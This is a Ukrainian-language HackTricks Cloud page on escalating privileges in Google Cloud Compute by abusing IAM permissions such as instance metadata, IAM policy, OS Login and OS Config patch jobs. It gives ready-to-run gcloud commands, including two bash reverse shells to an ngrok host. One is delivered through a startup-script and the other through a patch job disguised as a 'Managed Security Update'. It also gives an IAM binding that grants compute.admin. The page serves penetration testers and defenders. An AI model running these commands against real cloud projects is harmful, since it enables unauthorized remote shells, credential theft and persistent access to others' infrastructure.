GCP - Compute Privesc
Reading time: 5 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Compute
Для отримання додаткової інформації про Compute та VPC (мережу) в GCP перегляньте:
caution
Зверніть увагу, що для виконання всіх атак підвищення привілеїв, які вимагають зміни метаданих екземпляра (наприклад, додавання нових користувачів та SSH-ключів), необхідно, щоб у вас були права actAs
на SA, прикріплену до екземпляра, навіть якщо SA вже прикріплена!
compute.projects.setCommonInstanceMetadata
З цим дозволом ви можете змінювати інформацію про метадані екземпляра та змінювати авторизовані ключі користувача, або створювати нового користувача з правами sudo. Таким чином, ви зможете виконати SSH в будь-який екземпляр VM і вкрасти GCP Service Account, з яким працює екземпляр.
Обмеження:
- Зверніть увагу, що GCP Service Accounts, які працюють в екземплярах VM, за замовчуванням мають дуже обмежений обсяг
- Вам потрібно буде мати можливість зв'язатися з SSH сервером для входу
Для отримання додаткової інформації про те, як експлуатувати цей дозвіл, перегляньте:
Ви також можете виконати цю атаку, додавши новий startup-script і перезавантаживши екземпляр:
gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'
gcloud compute instances reset my-vm-instance
compute.instances.setMetadata
Ця дозволяє надає ті ж привілеї, що й попереднє дозволу, але для конкретних екземплярів, а не для всього проекту. Ті ж експлойти та обмеження, що й для попереднього розділу, застосовуються.
compute.instances.setIamPolicy
Цей вид дозволу дозволить вам наділити себе роллю з попередніми дозволами та ескалувати привілеї, зловживаючи ними. Ось приклад додавання roles/compute.admin
до облікового запису служби:
export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE
cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF
gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE
compute.instances.osLogin
Якщо OSLogin увімкнено в екземплярі, з цим дозволом ви можете просто виконати gcloud compute ssh [INSTANCE]
і підключитися до екземпляра. Ви не матимете root прав всередині екземпляра.
tip
Щоб успішно увійти з цим дозволом всередині VM екземпляра, вам потрібно мати дозвіл iam.serviceAccounts.actAs
на SA, прикріплену до VM.
compute.instances.osAdminLogin
Якщо OSLogin увімкнено в екземплярі, з цим дозволом ви можете просто виконати gcloud compute ssh [INSTANCE]
і підключитися до екземпляра. Ви будете мати root права всередині екземпляра.
tip
Щоб успішно увійти з цим дозволом всередині VM екземпляра, вам потрібно мати дозвіл iam.serviceAccounts.actAs
на SA, прикріплену до VM.
compute.instances.create
,iam.serviceAccounts.actAs, compute.disks.create
, compute.instances.create
, compute.instances.setMetadata
, compute.instances.setServiceAccount
, compute.subnetworks.use
, compute.subnetworks.useExternalIp
Можливо створити віртуальну машину з призначеним обліковим записом служби та вкрасти токен облікового запису служби, отримуючи доступ до метаданих для ескалації привілеїв.
Скрипт експлуатації для цього методу можна знайти тут.
osconfig.patchDeployments.create
| osconfig.patchJobs.exec
Якщо у вас є дозволи osconfig.patchDeployments.create
або osconfig.patchJobs.exec
, ви можете створити роботу з патчами або розгортання. Це дозволить вам переміщатися в середовищі та отримати виконання коду на всіх обчислювальних екземплярах у проекті.
Зверніть увагу, що на даний момент вам не потрібен дозвіл actAs
на SA, прикріплену до екземпляра.
Якщо ви хочете вручну експлуатувати це, вам потрібно буде створити або роботу з патчами або розгортання.
Для роботи з патчами виконайте:
cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF
gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh
# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance
gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s
Щоб розгорнути патч-розгортання:
gcloud compute os-config patch-deployments create <name> ...
Інструмент patchy міг бути використаний у минулому для експлуатації цієї неконфігурації (але зараз він не працює).
Зловмисник також може зловживати цим для збереження доступу.
compute.machineImages.setIamPolicy
Надайте собі додаткові дозволи на образи обчислень.
compute.snapshots.setIamPolicy
Надайте собі додаткові дозволи на знімок диска.
compute.disks.setIamPolicy
Надайте собі додаткові дозволи на диск.
Обхід доступу до обсягів
Слідуючи за цим посиланням, ви знайдете деякі ідеї для спроби обійти обсяги доступу.
Локальне підвищення привілеїв у GCP Compute інстансі
GCP - local privilege escalation ssh pivoting
Посилання
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.